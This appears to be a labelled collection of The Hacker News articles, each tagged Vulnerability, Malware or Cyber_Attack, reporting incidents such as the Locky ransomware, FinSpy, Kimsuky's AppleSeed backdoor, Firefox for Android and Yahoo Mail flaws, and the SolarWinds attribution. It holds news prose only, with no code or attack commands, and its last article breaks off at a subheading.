Prioritize risks with correlated vulnerability and threat data
Benefit from threat intelligence updates developed by security experts at AlienVault Labs
Within 24 hours of the discovery of the Bash vulnerability, the AlienVault Labs team pushed updated network signatures and correlation directives to the USM platform, enabling users to detect the vulnerability in their environment, and detect attackers attempting to exploit it.
Learn more about AlienVault USM:
Download a free 30-day trial
Watch a demo on-demand
Play with USM in our product sandbox (no download required)
Attend our webcast "The Bash Vulnerability: Practical Steps to Protect your Environment"
| Vulnerability |
Apple's Developer Center Offline for 32 Hours; Compromised ? | https://thehackernews.com/2013/07/apples-developer-center-offline-for-32.html | It's been over a day now since Apple's online Dev Center went offline, and latest message can be seen in the screenshot, which explains that the current maintenance has took a lot longer than they expected.
"We apologize that maintenance is taking longer than expected. If your program membership was set to expire during this period, it has been extended and your app will remain on the App Store. If you have any other concerns about your account, please contact us. Thank you for your patience." message said.
Since that time, developers have been unable to access the site and cannot visit the forums or download Mac or iOS SDKs, the iOS 7 beta, or the Mavericks beta.
It was first seemed like Apple having some backend issues but according to tweets from many developers, they have received a message from Apple that an attempt was made to reset their user ID's password. Such notices pointing that Apple's Developer Center website may have been compromised. But if it is a security issue, there still remain unanswered questions over what happened.
This is not a problem if you have no need to visit your Apple developer account, but for those of you that want to add another iPhone or iOS device to your account, it is a real problem. Possibly that iOS 7 beta 4 download will arrive right around the time of the Dev Center return.
Update (Monday) :
Apple has published a statement claiming that an intruder attempted to steal the details of registered developers from the company's developer website.
A UK based security researcher, Ibrahim Balic claims that he reported 13 Vulnerabilities in Apple system, highlighting a hole that could left data from the Developer Center exposed. For proof of concept, he demonstrated the hack on his own 73 employees while reporting to Apple security team. Though he admits that he was able to hack more than 100,000 users, but he did not hack the system for malicious purposes.
Security researcher is not happy with Apple's Statement, that cited an attempted security breach as the reason for the developer site outage.
| Vulnerability |
Malicious Gaming App Infects More than 1 Million Android Users | https://thehackernews.com/2015/07/android-malware-game.html | It's not at all surprising that the Google Play Store is surrounded by a number of malicious applications that may gain users' attention to fall victim for one, but this time it might be even worse than you thought.
Threat researchers from security firm ESET have discovered a malicious Facebook-Credentials-Stealing Trojan masquerading as an Android game that has been downloaded by more than a Million Android users.
Malicious Android Apps downloaded 50,000-1,000,000 times
The Android game, dubbed "Cowboy Adventure," and another malicious game, dubbed "Jump Chess" – downloaded up to 50,000 times, have since been removed from Google Play Store.
However, before taking them off from the app store, the creepy game apps may have compromised an unknown number of victims' Facebook credentials.
Both the games were created by the same software developer, Tinker Studio and both were used to gather social media credentials from unsuspecting users.
How Cowboy Adventure victimizes Android users?
Once installed, Cowboy Adventure produced a fake Facebook login window that prompted users to enter their Facebook usernames along with their passwords. A practice known as OAuth in which a 3rd party asks your Facebook login.
However, if users provide their credentials to Cowboy Adventure app, the malicious code within the game app allegedly sent their credentials to the attacker's server.
Therefore, If you have downloaded Cowboy Adventure or Jump Chess, you should immediately change not alone your Facebook password, but any service that uses the same combination of username and password as your Facebook account.
ESET senior security researcher Robert Lipovsky believes that the app malicious behavior is not just a careless mistake of the game developer, but the developer is actually a criminal minded.
Take Away
A few basic tips that you should always keep in your mind are:
Always download apps from official sources, such as Google Play Store or Apple's App Store.
Read reviews from other users before downloading an app (Many users complained about "Cowboy Adventure" that the game locked them out of Facebook accounts).
Always use two-factor authentication on services that makes it harder for hackers to access your accounts with just your password.
Always keep a malware scanning software from trusted vendors like Avast, AVG, ESET, Kaspersky and Bitdefender, on your smartphone.
| Malware |
Russian Arrested After Offering $1 Million to U.S. Company Employee for Planting Malware | https://thehackernews.com/2020/08/russian-extortion-malware.html | Hackers always find a way in, even if there's no software vulnerability to exploit.
The FBI has arrested a Russian national who recently traveled to the United States and offered $1 million in bribe to an employee of a targeted company for his help in installing malware into the company's computer network manually.
Egor Igorevich Kriuchkov, 27-year-old, entered the United States as a tourist and was arrested in Los Angeles after meeting with the unnamed employee of an undisclosed Nevada-based company numerous times, between August 1 to August 21, to discuss the conspiracy.
"On or about July 16, EGOR IGOREVICH KRIUCHKOV used his WhatsApp account to contact the employee of victim company and arranged to visit in person in the District of Nevada," the court documents say.
"On or about July 28, EGOR IGOREVICH KRIUCHKOV entered the United States using his Russian Passport and a B1/B2 tourist visa."
Kriuchkov also asked the employee to participate in developing tailored malware by sharing information about the company's infrastructure.
According to court documents released by the US Justice Department, the malicious software Kriuchkov asked to install aims to extract data from the company's network, allowing attackers to threaten it later to make the information public unless it pays a ransom.
Kriuchkov and his co-conspirators in Russia promised the employee to pay $1 million in Bitcoins after successfully planting the said malware and offered to launch a DDoS attack on the company's network to divert attention from the malware.
"If CHS1 [employee] agreed to this arrangement, the group would provide the malware to CHS1 [employee] in either a thumb drive to be inserted into a computer's USB drive or an email with an attachment containing malware."
"The unidentified co-conspirator discussed various means by which to pay the employee, including payments using cryptocurrency, a guarantor security deposit, or cash."
"After being contacted by the FBI, Kriuchkov drove overnight from Reno, Nevada, to Los Angeles. Kriuchkov asked an acquaintance to purchase an airline ticket for him in an attempt to fly out of the country," the United States agencies say.
After getting arrested by the FBI, who was conducting physical surveillance of Kriuchkov and his meetings, he listed prior companies the gang had targeted and also revealed that each of these targeted companies had a person working at those companies who installed malware on behalf of the gang.
To be noted, it's quite possible that a few high-profile ransomware and data breach attacks might have been executing in the same way by conspiring with the insiders.
Kriuchkov has been charged with one count of conspiracy to cause damage to a protected computer intentionally.
| Cyber_Attack |
Microsoft Edge Bug Could've Let Hackers Steal Your Secrets for Any Site | https://thehackernews.com/2021/06/microsoft-edge-bug-couldve-let-hackers.html | Microsoft last week rolled out updates for the Edge browser with fixes for two security issues, one of which concerns a security bypass vulnerability that could be exploited to inject and execute arbitrary code in the context of any website.
Tracked as CVE-2021-34506 (CVSS score: 5.4), the weakness stems from a universal cross-site scripting (UXSS) issue that's triggered when automatically translating web pages using the browser's built-in feature via Microsoft Translator.
Credited for discovering and reporting CVE-2021-34506 are Ignacio Laurence as well as Vansh Devgan and Shivam Kumar Singh with CyberXplore Private Limited.
"Unlike the common XSS attacks, UXSS is a type of attack that exploits client-side vulnerabilities in the browser or browser extensions in order to generate an XSS condition, and execute malicious code," CyberXplore researchers said in a write-up shared with The Hacker News.
"When such vulnerabilities are found and exploited, the behavior of the browser is affected and its security features may be bypassed or disabled."
Specifically, the researchers found that the translation feature had a piece of vulnerable code that failed to sanitize input, thus allowing an attacker to potentially insert malicious JavaScript code anywhere in the webpage that's then subsequently executed when the user clicks the prompt on the address bar to translate the page.
As a proof-of-concept (PoC) exploit, the researchers demonstrated it was possible to trigger the attack simply by adding a comment to a YouTube video, which is written in a language other than English, along with an XSS payload.
In a similar vein, a friend request from a Facebook profile containing other language content and the XSS payload was found to execute the code as soon as the recipient of the request checked out the user's profile.
Following responsible disclosure on June 3, Microsoft fixed the issue on June 24, in addition to awarding the researchers $20,000 as part of its bug bounty program.
The latest update (version 91.0.864.59) to the Chromium-based browser can be downloaded by visiting Settings and more > About Microsoft Edge (edge://settings/help).
| Vulnerability |
How Just Opening an MS Word Doc Can Hijack Every File On Your System | https://thehackernews.com/2016/02/locky-ransomware-decrypt.html | If you receive a mail masquerading as a company's invoice and containing a Microsoft Word file, think twice before clicking on it.
Doing so could cripple your system and could lead to a catastrophic destruction.
Hackers are believed to be carrying out social engineering hoaxes by adopting eye-catching subjects in the spam emails and compromised websites to lure the victims into installing a deadly ransomware, dubbed "Locky," into their systems.
So if you find .locky extension files on your network shares, Congratulations! You are infected and left with just two solutions: Rebuild your PC from scratch or Pay the ransom.
Locky ransomware is spreading at the rate of 4000 new infections per hour, which means approximately 100,000 new infections per day.
Microsoft MACROS are Back
It is hard to digest the fact that, in this 2016, even a single MS Word document could compromise your system by enabling 'Macros.'
This is where the point to appreciate hacker's sheer brilliance of tactics.
Locky ransomware is being distributed via Microsoft 365 or Outlook in the form of an Invoice email attachment (Word File that embeds vicious macro functions).
The concept of macros dates back to 1990s. You must be familiar with this message: "Warning: This document contains macros."
Now macros are back, as cyber criminals discover a new way to get internet users to open Microsoft Office documents, especially Word files that allow macros to run automatically.
How Does Locky Work?
Once a user opens a malicious Word document, the doc file gets downloaded to its system. However, danger comes in when the user opens the file and found the content scrambled and a popup that states "enable macros".
Here comes the bad part:
Once the victim enables the macro (malicious), he/she would download an executable from a remote server and run it.
This executable is nothing but the Locky Ransomware that, when started, will begin to encrypt all the files on your computer as well as network.
Locky ransomware affects nearly all file formats and encrypts all the files and replace the filename with .locky extension.
Once encrypted, the ransomware malware displays a message that instructs infected victims to download TOR and visit the attacker's website for further instructions and payments.
Locky ransomware asks victims to pay between 0.5 and 2 Bitcoins ($208 to $800) in order to get the decryption key.
One of the interesting note on Locky is that it is being translated into many languages, which heighten its attack beyond English boundaries to maximize the digital casualties.
Locky Encrypts Even Your Network-Based Backup Files
The new ransomware also has the capability to encrypt your network-based backup files. So it's time for you to keep you sensitive and important files in a third party storage as a backup plan in order to evade future-ransomware infections.
A researcher named Kevin Beaumont initially discovered the existence of Locky encrypted virus.
To check the impact of Locky, Kevin successfully intercepted the Locky traffic yesterday and realized that the cryptovirus is spreading out rapidly in the wild.
"I estimate by the end of the day well over 100,000 new endpoints will be infected with Locky, making this a genuine major cybersecurity incident — 3 days in, approximately a quarter of Million PCs will be infected," Kevin said in a blog post.
One hour of infection Statistics:
Among the highly impacted countries include Germany, Netherlands, United States, Croatia, Mali, Saudi Arabia, Mexico, Poland, Argentina and Serbia.
| Malware |
17-Year-Old Found Bugs in WhatsApp Web and Mobile App | https://thehackernews.com/2015/01/whatsapp-web-mobile-app.html | Last week, the most popular mobile messaging application WhatsApp finally arrived on the web — dubbed WhatsApp Web, but unfortunately it needs some improvements in its web version.
An independent 17-year-old security researcher Indrajeet Bhuyan reported two security holes in the WhatsApp web client that in some way exposes its users' privacy. Bhuyan called the first hole, WhatsApp photo privacy bug and the other WhatsApp Web Photo Sync Bug.
Bhuyan is the same security researcher who reported us the vulnerability in the widely popular mobile messaging app which allowed anyone to remotely crash WhatsApp by sending a specially crafted message of just 2kb in size, resulting in the loss of conversations.
Whatsapp Photo Privacy Bug
According to him, the new version of WhatsApp Web allows us to view a user's profile image even if we are not on the contact list of that user. Even if the user has set the profile image privacy setting to "Contacts Only," the profile picture can be viewed by out of contacts people as well.
Basically, if we set the profile image privacy to Contacts Only, only the people in our contact list are able to view our profile picture, and nobody else. But, this is not in the case of WhatsApp Web. You can watch how this works in the video demonstration below:
WhatsApp Web Photo Sync Bug
The second security hole points out the WhatsApp Web Photo Syncing functionality. Bhuyan noticed that whenever a user deletes a photo that was sent via the mobile version of WhatsApp application, the photo appears blurred and can't be viewed.
However, the same photo, which has already been deleted by the user from mobile WhatsApp version, can be accessible by Whatsapp Web as the photo does not get deleted from its web client, revealing the fact that mobile and web clients of the service are not synced properly. You can also watch the video demonstration on this as well:
This is no surprise, as WhatsApp Web introduced just a couple of days before and these small security and implementation flaws could be expected at this time, as well as some other bugs could also be revealed in the near future.
However, the company will surely fix the issues and will definitely make its users' messaging experience secure. As partnered with Open Whisper Systems, WhatsApp recently made end-to-end encryption a default feature on Android platform, stepping a way forward for the online privacy of its users around the world.
| Vulnerability |
Powerful FinSpy Spyware Found Targeting iOS and Android Users in Myanmar | https://thehackernews.com/2019/07/finspy-spyware-android-ios.html | One of the most powerful, infamous, and advanced piece of government-grade commercial surveillance spyware dubbed FinSpy—also known as FinFisher—has been discovered in the wild targeting users in Myanmar.
Created by German company Gamma International, FinSpy is spying software that can target various mobile platforms including iOS and Android, we well as desktop operating systems.
Gamma Group reportedly sells its controversial FinSpy espionage tool exclusively to government agencies across the world, but also gained notoriety for targeting human rights activists in many countries.
The FinSpy implant is capable of stealing an extensive amount of personal information from targeted mobile devices, such as SMS/MMS messages, phone call recordings, emails, contacts, pictures, files, and GPS location data.
In its latest report published today, Kaspersky researchers revealed a cyber-espionage campaign that involves targeting Myanmar users with the latest versions of FinSpy implants for iOS and Android.
Since some advanced functionalities require FinSpy to have root privileges on a targeted device, the implant doesn't work properly on iOS without jailbreaking, which can be achieved with physical access or remotely in combination with some zero-day vulnerabilities.
However, in the case of Android, researchers found that the implant has been using the DirtyCow exploit to automatically gain root privileges on an unrooted Android device, allowing attackers to successfully infect a device remotely.
According to the researchers, the new versions of FinSpy for both mobile operating systems are also capable of recording VoIP calls via external apps such as Skype, WeChat, Viber, LINE, as well as via secure messaging apps such as WhatsApp, Threema, Signal, and Telegram.
"The module .chext targets messenger applications and hooks their functions to exfiltrate almost all accessible data: message content, photos, geolocation, contacts, group names, and so on. The collected data is submitted to the local server deployed by the main module," the researchers say.
FinSpy also includes keylogging functionality and has also been designed to cover up the tracks of its activities on a targeted device.
"Since the leak in 2014, Gamma Group has recreated significant parts of its implants, extended supported functionality (for example, the list of supported instant messengers has been significantly expanded) and at the same time improved encryption and obfuscation (making it harder to analyze and detect implants), which made it possible to retain its position in the market," the researchers conclude.
While conducting their research, Kaspersky researchers detected the updated versions of the FinSpy implants used in the wild in almost 20 countries, but "assuming the size of Gamma's customer base; it's likely that the real number of victims is much higher."
Gamma is continuously working on the updates for the FinSpy malware, as researchers have found another version of the threat at the time of publishing their report, and they are currently investigating the sample.
| Malware |
Multiple Vulnerabilities in Firefox for Android Leak Sensitive Information | https://thehackernews.com/2014/03/multiple-vulnerabilities-in-firefox-for.html | The Android operating system has hardened its security with application Sandboxing features to ensure that no application can access sensitive information held by another without proper privileges.
Android applications communicate with each other through Intents and these intents can be abused by hackers to provide a channel for a malicious application to inject malicious data into a target, potentially vulnerable application.
Security Researchers at IBM have discovered multiple vulnerabilities in Firefox for Android platform that allow a malicious application to leak the sensitive information related to the user's profile.
Android's Firefox app stores the personal data at following location:
/data/data/org.mozilla.firefox/files/mozilla/<RANDOM-STRING>.default.
Where the random name for user's profile is used to prevent unwanted access to this directory in case of Firefox exploitation.
Researchers developed an exploit to brute-force the <RANDOM-STRING> Firefox profile directory name in a practical amount of time CVE-2014-1516) and successfully bypassed Android's sandbox to obtain the sensitive data reside in that directory, including users' cookies, browsing history and cache information.
For successful exploitation, an attacker can create a specially crafted HTML file, that will force Firefox to load the files including inside the user profile directory using an Intent.
The JavaScript code in the HTML file will download any file under the user profile directory by creating an iframe, using the vulnerability dubbed as CVE-2014-1515 (explained below).
Downloaded files with the exploit code will be saved automatically to the SD card at location /mnt/sdcard/Download, that can be read by the attacker using any malicious Android app.
REPORTED VULNERABITIES
1.) Profile Directory Name Weak Randomization (CVE-2014-1516) - The Attacker who knows the seed of the Pseudo-Random Number Generator (PRNG) can easily predict its output and eventually the generated Firefox Profile name.
2.) Profile Directory Name Leaks to Android System Log (CVE-2014-1484) - Android operating system writes the randomly generated Firefox user's Profile Directory Name in the Android System Log (logcat) at various locations, that can be used to steal private information.
In Android version 4.0 and below, installed apps with READ_LOGS permission can easily read Android system logs to identify the name of the Firefox user profile folder.
3.) Automatic File Download to SD Card (CVE-2014-1515) - Firefox for Android will download any file automatically to the SD card, if not of any known extension. Malicious apps with READ_EXTERNAL_STORAGE permission can read files from the SD card to extract non-renderable data such as the cookies database.
4.) Crash Reporter File Manipulation (CVE-2014-1506) - In cases where the application crashes, Firefox sends the crash dumps located in /data/data/org.mozilla.firefox/files/mozilla/Crash Reports/pending on the device file system. Using the exploit, an attacker can manipulate the crash report file path to the Android Log file in order to steal it. Researchers have also explained second way to hack user data using this vulnerability.
RESEARCH PAPER:
Researchers have already reported these vulnerabilities to the Mozilla and three out of four are already been patched in the latest versions. Android users with Firefox installed in the device are advised to upgrade it to Mozilla Firefox 28.0 or later from the Google Play app store.
| Vulnerability |
Researchers Uncover Hacking Operations Targeting Government Entities in South Korea | https://thehackernews.com/2021/06/researchers-uncover-hacking-operations.html | A North Korean threat actor active since 2012 has been behind a new espionage campaign targeting high-profile government officials associated with its southern counterpart to install an Android and Windows backdoor for collecting sensitive information.
Cybersecurity firm Malwarebytes attributed the activity to a threat actor tracked as Kimsuky, with the targeted entities comprising of the Ministry of Foreign Affairs, Ambassador of the Embassy of Sri Lanka to the State, International Atomic Energy Agency (IAEA) Nuclear Security Officer, and the Deputy Consul General at Korean Consulate General in Hong Kong.
The attacks also involved collecting information about other organizations and universities in the country, including the Korea Internet and Security Agency (KISA), Seoul National University, and Daishin Securities. Malwarebytes, however, noted that there is no evidence of active targeting or compromise by the adversary.
The development is only the latest in a series of surveillance efforts aimed at South Korea. Believed to be operating on behalf of the North Korean regime, Kimsuky (aka Velvet Chollima, Black Banshee, and Thallium) has a track record of singling out South Korean entities while expanding their victimology to the U.S., Russia, and various nations in Europe.
Last November, the adversary was linked to a new modular spyware suite called "KGH_SPY," which allows it to carry out reconnaissance of target networks, log keystrokes, and steal confidential information, as well as a stealthy malware under the name "CSPY Downloader" that's designed to thwart analysis and download additional payloads.
Kimsuky's attack infrastructure consists of various phishing websites that mimic well known websites such as Gmail, Microsoft Outlook, and Telegram with an aim to trick victims into entering their credentials. "This is one of the main methods used by this actor to collect email addresses that later will be used to send spear-phishing emails," Malwarebytes researcher Hossein Jazi said.
In using social engineering as a core component of its operations, the goal is to distribute a malware dropper that takes the form of a ZIP archive file attached to the emails, which ultimately leads to the deployment of an encoded DLL payload called AppleSeed, a backdoor that's been put to use by Kimsuky as early as 2019.
"Besides using the AppleSeed backdoor to target Windows users, the actor also has used an Android backdoor to target Android users," Jazi noted. "The Android backdoor can be considered as the mobile variant of the AppleSeed backdoor. It uses the same command patterns as the Windows one. Also, both Android and Windows backdoors have used the same infrastructure."
AppleSeed has all the hallmarks of a typical backdoor, with myriad capabilities to record keystrokes, capture screenshots, collect documents with specific extensions (.txt, .ppt, .hwp, .pdf, and .doc), and gather data from removable media devices connected to the machine, all of which are then uploaded to a remote command-and-control server.
But perhaps the most interesting discovery of all is that the threat actor calls themselves Thallium in the malware source code, which is the moniker assigned by Microsoft based on its tradition of naming nation-state hacking groups after chemical elements.
| Malware |
Facebook Sued Hong Kong Firm for Hacking Users and Ad Fraud Scheme | https://thehackernews.com/2019/12/facebook-account-hacking.html | Following its efforts to take legal action against those misusing its social media platform, Facebook has now filed a new lawsuit against a Hong Kong-based advertising company and two Chinese individuals for allegedly abusing its ad platform to distribute malware and Ad fraud.
Facebook filed the lawsuit on Thursday in the Northern District of California against ILikeAd Media International Company Ltd. as well as a Chinese software developer and a marketing director working for the firm, Chen Xiao Cong and Huang Tao.
All three defendants have been alleged to have deceived people into installing malware on their systems, enabling them to compromise user's Facebook accounts and then using those hacked accounts to advertise counterfeit goods and diet pills—which is clearly in violation of Facebook's Terms and Advertising Policies.
"The suit seeks to hold accountable ILikeAd Media International Company Ltd. and Chen Xiao Cong and Huang Tao for creating the malware, tricking people into installing it, compromising people's Facebook accounts and then using people's accounts to run deceptive ads," Facebook said in a blog post today when announcing the lawsuit.
According to the social media giant, the defendants made use of improper practices such as "celeb bait" and "cloaking" to bait Facebook users into downloading and installing malware that eventually compromised their Facebook accounts.
While 'cloaking' involves deliberately disguising the true destination of a link in the ad by displaying one version of the ad's landing page to Facebook and another version to Facebook users, 'celeb bait' involves misusing celebrities photos in ads to entice users to click on them.
"Cloaking schemes are often sophisticated and well organized, making the individuals and organizations behind them difficult to identify and hold accountable. As a result, there have not been many legal actions of this kind," Facebook said.
Since April, Facebook has notified hundreds of thousands of users that their accounts may have been compromised and instructing them to change their passwords, according to the complaint.
Facebook also said the social media company had issued more than $4 million in refunds to victims whose Facebook accounts were used to run unauthorized ads and also helped to secure their accounts compromised in this malicious advertisement scheme.
This is the latest lawsuit that Facebook filed in a federal court against entities and individuals abusing its properties for malicious intent.
Just over a month ago, Facebook sued surveillance vendor NSO Group for allegedly hacking 1,400 mobile devices by misusing the company's secure messaging platform, WhatsApp.
In August this year, Facebook also filed a lawsuit against two shady Android app developers, Hong Kong-based 'LionMobi' and Singapore-based 'JediMobi,' for allegedly running a "click injection fraud" scheme that programmed bots to click on Facebook ads.
In March this year, Facebook also took two Ukrainian men into the courts for allegedly using quiz apps on the platform to distribute malware that steals Facebook users' data.
| Malware |
Millions of PCs Found Running Outdated Versions of Popular Software | https://thehackernews.com/2019/01/software-vulnerabilities-hacking.html | It is 2019, and millions of computers still either have at least one outdated application installed or run outdated operating systems, making themselves vulnerable to online threats and known security vulnerabilities/exploits.
Security vendor Avast has released its PC Trends Report 2019 revealing that millions of users are making themselves vulnerable to cyber attacks by keeping outdated versions of popular applications on their computers.
Probably the most overlooked vectors for any cyber attack is out-of-date programs, which most of the times, is the result of the users' laziness and company's administrators ignoring the security updates in a business environment as they can't afford the downtime.
According to the report [PDF], Adobe Shockwave tops the list of software that most user left outdated on their PCs, followed by VLC Media Player, Skype, Java Runtime Environment , 7-Zip File Manager, and Foxit Reader.
The outdated software applications often provide an open door for hackers and cybercriminals to take advantage of security bugs and loopholes in the programs, making them a potential target of cyber attacks.
However, it is not only applications but also operating systems that are out of date. Almost 15% of all Windows 7 computers and 9% of all Windows 10 computers are running an outdated version of the operating systems.
To understand the risk, there could be no better example than the Global WannaCry menace that largely infected networks that used out-of-date operating systems, like Windows XP, for which Microsoft no longer offers technical support.
WannaCry was taking advantage of a dangerous security hole in Microsoft Windows that had already been fixed by the company months before the ransomware threat strikes the whole world.
"Most of us replace our smartphone regularly, but the same cannot be said for our PCs. With the average age of a PC now reaching six years old, we need to be doing more to ensure our devices are not putting us at unnecessary risk," said Avast President Ondrej Vlcek.
"With the right amount of care, such as cleaning our hardware's insides using cleaners, optimization and security products, PCs will be safe and reliable for even longer."
The bottom line: Keeping your operating systems and software applications patched and up-to-date can protect you from cyber attacks and prevent hackers from taking advantage of your vulnerable machine to steal your personal and sensitive data.
| Vulnerability |
DDoS Attack Takes Down Central Heating System Amidst Winter In Finland | https://thehackernews.com/2016/11/heating-system-hacked.html | Just Imaging — What if, you enter into your home from a chilling weather outside, and the heating system fails to work because of a cyber attack, leaving you in the sense of panic?
The same happened late last month when an attack knocks heating system offline in Finland.
Last week, a Distributed Denial of Service (DDoS) attack led to the disruption of the heating systems for at least two housing blocks in the city of Lappeenranta, literally leaving their residents in subzero weather.
Both the apartments are managed by a company called Valtia, a facilities services company headquartered in Lappeenranta.
Valtia CEO Simo Rounela confirmed to English language news outlet Metropolitan.fi that the central heating system and hot water system in both buildings had become a target of DDoS attacks.
In an attempt to fight back the cyber attacks, which lived for a short time, the automated systems rebooted — and unfortunately got stuck in an endless loop, which restarted repeatedly and eventually shut down heating systems for more than a week.
Also Read: Someone is Using Mirai Botnet to Shut Down Internet for an Entire Country.
The incident is extremely worrying because in a location as cold as Finland – where temperatures at this time month are below freezing – taking heating systems offline for over a week could result in death, particularly with old-aged people.
Fortunately for the buildings' residents, it was not that cold in Lappeenranta.
The attack started in late October and ended on 3rd November afternoon. Here's what a brief post on the company's website reads:
"Over 90 percent of the [remote systems] in the area of terraced houses or larger buildings will not send an alarm at the moment, even if the heat is switched off or radiator pressure disappears," as the systems are designed to shut down for safety. "The systems must be actively monitored and adjusted."
According to another local media outlet, Helsingin Sanomat, Valtia quickly relocated those affected systems and switched the heating systems over to manual, while the company addressed the DDoS attacks and brought the control systems "back into the grid, this time from behind a firewall."
The report attributes the cyber attack to the Mirai botnet – the same infamous IoT botnet that caused vast internet outage over two weeks ago by launching massive DDoS attacks against DNS provider Dyn.
Dangerous Threats of Massive IoT Botnets
Mirai botnet malware scans for insecure IoT devices, like security cameras, DVRs, and routers, that uses their default passwords and then enslaves them into a botnet network, which is then used to launch DDoS attacks.
The latest incident isn't a disastrous situation, but it is enough to make it crystal clear that these Internet-connected systems can cause a significant consequence in our physical world as well.
Just imagine if these control systems can not be manually adjusted by the people who truly rely on them?
In this case, any cyber attack that knocks these systems down is potentially dangerous and even deadly in the event of extreme temperatures.
This incident once again highlights the dangerous threats of massive DDoS attacks, which are now emerging from Millions of insecure Internet of Things (IoT) devices, whereby attackers can simply launch a DDoS to take down any critical service – no need to infect it with malware or viruses.
So the best way to protect your smart devices from being a part of DDoS botnet is to be more vigilant about the security of your internet-connected devices.
| Cyber_Attack |
Banking System Vulnerability - 3 million bank accounts hacked in Iran | https://thehackernews.com/2012/04/banking-system-vulnerability-3-million.html | Banking System Vulnerability - 3 million bank accounts hacked in Iran
Iran's Central Bank has announced that the electronic information of 3 million customers of 10 Iranian banks have been compromised. These banks now require their customers to change their ATM pin numbers before they can access their account. This has caused a rush to the ATM machines by the worried customers.
The hacker was identified as Khosro Zare', a former bank-system specialist in Iran who recently left the country.Zare' claimed in a blog that he hacked the PIN codes to highlight the vulnerability of Iran's banking system.
According to the report, the hacker had provided the managing directors of the targeted banks with information about the bank accounts of 1000 customers in the previous Iranian calendar year (ended on March 19) to warn them about the susceptibility of their computer systems and networks to cyber threats.
But Central bank officials had earlier downplayed the reports, saying that "the threat to Iran's banking system is not serious."
Finally to proof the Vulnerability he dumped the account details of around 3 million individuals, including card numbers and PINs, on his blog ircard.blogspot.ca.
At least three Iranian banks (Saderat, Eghtesad Novin, and Saman) have already sent text messages to their clients, warning them to change their debit card PINs. The warning was repeated on state TV channels.
| Vulnerability |
Popular Online Tutoring Marketplace 'Wyzant' Suffers Data Breach | https://thehackernews.com/2019/05/wyzant-data-breach.html | Wyzant—an online marketplace that makes it easy for parents and students to connect with private tutors, in-person and online, in over 250 different subjects—has suffered a data breach exposing "certain personal identification information" for its customers.
The Hacker News received a copy of an email notification Wyzant recently sent to its affected customers, which reveals an unknown attacker was able to gain access to one of its databases on April 27, which the company identified a week after the security incident.
The stolen personal identification information for affected customers includes their first name, last name, email address, zip code, and, for certain customers, their Facebook profile image as well who log-in to the platform using Facebook.
Wyzant also explicitly made it clear that the stolen data did not include any password, payment information, or record of its customers' activity on the Wyzant platform, and that no other than the above-mentioned data was known to have been accessed.
Though it is still unclear how many customers were actually hit by the security breach, or if both tutors and students are affected, or what security hole the unknown attackers exploited to get into the company's network, the company did confirm that it has now patched the underlying issue.
With more than 2 million registered users and over 76,000 active tutors in its database, Wyzant is a decade-old popular tutoring service that bring students and instructors together, online and in-person.
In response to the security incident, Wyzant says it is performing an extensive audit of its entire network and application security infrastructure and will notify its customers of any significant development.
"Wyzant has implemented additional security measures designed to prevent a recurrence of such an attack and to protect the privacy of our valued customers," the company says.
"This includes reviewing our security processes and protocols. We are also working closely with law enforcement to ensure the incident is properly addressed."
For affected customers, Wyzant also warned them to beware of potential phishing attacks wherein attackers could use their personal information to trick them into providing additional personal information, such as credit card information or passwords.
The Hacker News has reached out to the company to know more about the data breach incident and will update this article as soon as we'll hear back from it.
| Cyber_Attack |
Yahoo Flaw Allowed Hackers to Read Anyone's Emails | https://thehackernews.com/2016/12/hack-yahoo-email.html | Yahoo has patched a critical security vulnerability in its Mail service that could have allowed an attacker to spy on any Yahoo user's inbox.
Jouko Pynnönen, a Finnish Security researcher from security firm Klikki Oy, reported a DOM based persistent XSS (Cross-Site Scripting) in Yahoo mail, which if exploited, allows an attacker to send emails embedded with malicious code.
In his blog post published today, the researcher demonstrated how a malicious attacker could have sent the victim's inbox to an external site, and created a virus that attached itself to all outgoing emails by secretly adding a malicious script to message signatures.
Since the malicious code is in the message's body, the code will get executed as soon as the victim opens the boobytrapped email and its hidden payload script will covertly submit victim's inbox content to an external website controlled by the attacker.
This issue is because Yahoo Mail failed to properly filter potentially malicious code in HTML emails.
"It would be possible to embed a number of HTML attributes that are passed through Yahoo's HTML filter and treated specially," Pynnönen says in his blog post.
Pynnönen says he found the vulnerability by force-feeding all known HTML tags and attributes in order to the filter that Yahoo uses to weed out malicious HTML, but certain malicious HTML code managed to pass through.
"As a proof of concept I supplied Yahoo Security with an email that, when viewed, would use AJAX to read the user's inbox contents and send it to the attacker's server," Pynnönen says.
Pynnönen privately disclosed the vulnerability to Yahoo through its HackerOne bug bounty program and was awarded a $10,000 bounty.
Pynnönen reported a similar vulnerability in the web version of the Yahoo! Mail service earlier this year for which he earned $10,000. He also reported a stored XSS vulnerability in Flickr to Yahoo in December 2015 for which he earned $500.
| Vulnerability |
FBI, CISA, NSA Officially Blame Russia for SolarWinds Cyber Attack | https://thehackernews.com/2021/01/fbi-cisa-nsa-officially-blames-russia.html | The U.S. government on Tuesday formally pointed fingers at the Russian government for orchestrating the massive SolarWinds supply chain attack that came to light early last month.
"This work indicates that an Advanced Persistent Threat (APT) actor, likely Russian in origin, is responsible for most or all of the recently discovered, ongoing cyber compromises of both government and non-governmental networks," the Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the Office of the Director of National Intelligence (ODNI), and the National Security Agency (NSA) said in a joint statement.
Russia, however, denied any involvement in the operation on December 13, stating it "does not conduct offensive operations in the cyber domain."
The FBI, CISA, ODNI, and NSA are members of the Cyber Unified Coordination Group (UCG), a newly-formed task force put in place by the White House National Security Council to investigate and lead the response efforts to remediate the SolarWinds breach.
A Much Smaller Number Compromised
Calling the campaign an "intelligence gathering effort," the intelligence bureaus said they are currently working to understand the full scope of the hack while noting that fewer than 10 U.S. government agencies were impacted by the compromise.
The names of the affected agencies were not disclosed, although previous reports have singled out the U.S. Treasury, Commerce, State, and the Departments of Energy and Homeland Security among those that have detected tainted SolarWinds' network management software installations, not to mention a number of private entities across the world.
An estimated 18,000 SolarWinds customers are said to have downloaded the backdoored software update, but the UCG said only a smaller number had been subjected to "follow-on" intrusive activity on their internal networks.
Microsoft's analysis of the Solorigate modus operandi last month found that the second-stage malware, dubbed Teardrop, has been selectively deployed against targets based on intel amassed during an initial reconnaissance of the victim environment for high-value accounts and assets.
The joint statement also confirms previous speculations that linked the espionage operation to APT29 (or Cozy Bear), a group of state-sponsored hackers associated with the Russian Foreign Intelligence Service (SVR).
The hacking campaign was notable for its scale and stealth, with the attackers leveraging the trust associated with SolarWinds Orion software to spy on government agencies and other companies for at least nine months, including viewing source code and stealing security tools, by the time it was discovered.
SolarWinds Faces Class Action Lawsuit
